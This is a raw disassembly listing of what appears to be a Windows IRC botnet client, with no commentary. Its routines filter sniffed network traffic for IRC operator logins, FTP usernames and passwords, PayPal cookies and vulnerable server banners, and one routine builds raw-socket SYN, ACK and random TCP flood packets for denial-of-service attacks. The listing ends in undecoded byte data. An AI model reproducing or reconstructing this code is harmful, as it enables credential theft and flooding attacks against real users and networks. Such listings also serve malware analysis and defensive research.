		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0A80h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D1A3h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0D3EEE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0379h
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27B011Ch
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27B011Ch
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22DCFBCh, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0CF46E857h, 8D90022Dh, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2DCEDFE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
